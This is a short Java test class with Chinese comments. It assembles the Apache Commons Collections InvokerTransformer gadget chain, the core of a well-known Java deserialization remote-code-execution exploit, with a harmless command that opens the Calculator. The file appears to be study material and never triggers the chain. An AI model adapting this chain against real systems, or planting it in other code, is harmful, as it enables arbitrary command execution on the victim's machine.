package com.svs.web.controller;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ApacheCommonsTest {

	public static void main(String[] args) {
		Transformer[] transformers = new Transformer[] {
			    //通过内置的ConstantTransformer来获取Runtime类
			    new ConstantTransformer(Runtime.class),
			    //反射调用getMethod方法，然后getMethod方法再反射调用getRuntime方法，返回Runtime.getRuntime()方法
			    new InvokerTransformer("getMethod",
			        new Class[] {String.class, Class[].class },
			        new Object[] {"getRuntime", new Class[0] }),
			    //反射调用invoke方法，然后反射执行Runtime.getRuntime()方法，返回Runtime实例化对象
			    new InvokerTransformer("invoke",
			        new Class[] {Object.class, Object[].class },
			        new Object[] {null, new Object[0] }),
			    //反射调用exec方法
			    new InvokerTransformer("exec",
			        new Class[] {String.class },
			        new Object[] {"open /Applications/Calculator.app"})
			};

			Transformer transformerChain = new ChainedTransformer(transformers);
	}
}
